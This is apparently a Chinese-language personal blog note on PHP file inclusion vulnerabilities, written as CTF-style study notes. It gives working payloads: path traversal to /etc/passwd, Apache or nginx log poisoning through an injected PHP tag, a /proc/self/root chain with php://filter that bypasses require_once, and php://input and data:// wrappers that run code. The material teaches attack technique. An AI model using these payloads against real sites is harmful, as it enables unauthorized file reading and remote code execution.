文件包含
文件包含
1、基本内容
include() 错误级别 warning
include_once() //保证文件只包含一次
require() 错误级别 fatal error
require_once() //保证文件只包含一次
1 | include 'a.php'; //单独编译 |
文件加载路径
绝对路径(效率低、安全 )
C:\路径\php文件
相对路径(效率高、易出错 ) → “ 当前文件./ ”会混乱
./ 表示当前文件夹
../ 上级目录
2、检验漏洞是否存在
1、查看配置文件以检验是否含有文件包含漏洞
1 | /index.php?file=../../../../../../etc/passwd |
3、攻击方法
文件包含漏洞分为 本地文件包含 和 远程文件包含
1、访问日志
原理:当访问一个不存在的资源时,Apache同样会记录下来,这就意味着,如果网站存在包含漏洞,却没有可以包含的文件时(通常指的是网页中的木马文件),就可以去访问URL:www.any.com<?php phpinfo();?>
,虽然说网页上提示您没有访问的权限,但是Apache会记录我们的请求<?php phpinfo();?>
,并写到access.log文件中,这时候再去包含Apache的日志文件,就可以利用文件包含漏洞了
步骤:访问日志所在目录→注马(UA)/…
Linux:/?file=/var/log/nginx/access.log
2、require_once绕过
在这里有个小知识点,/proc/self
指向当前进程的/proc/pid/
,/proc/self/root/
是指向/
的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过,payload:
1 | php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php |
原理:???
3、伪协议
php://input
读取POST请求的参数
file_get_contents() 解析传入字符串发现是伪协议中的
php://input
,便可以读取POST传入的php代码。php://filter
1、源码读取(前提是必须知道文件名)
1
php://filter/read=convert.base64-encode/resource=[文件路径]
(include可以对伪协议进行解析)
php://filter
是一种访问本地文件的协议,/read=convert.base64-encode/
表示读取的方式是base64
编码后,resource=index.php
表示目标文件为index.php
。如果不进行base64
编码传入,index.php
就会直接执行,我们就看不到文件中的内容了。2、代码绕过
data://
传入的数据是
php
就会执行php
代码1
data://text/plain;base64,xxxx(base64编码后的数据)
3、基本方法
打开文件:
php://filter/read=convert.base64-encode/resouce=[文件路径]
执行php代码
get: ?file=php://input
post: (php代码)
data://text/plain;base64,xxxxxx(base64编码后的数据)
- Title: 文件包含
- Author: dawn_r1sing
- Created at : 2023-11-16 22:45:44
- Updated at : 2023-11-16 22:52:41
- Link: https://dawnrisingdong.github.io/2023/11/16/文件包含/
- License: This work is licensed under CC BY-NC-SA 4.0.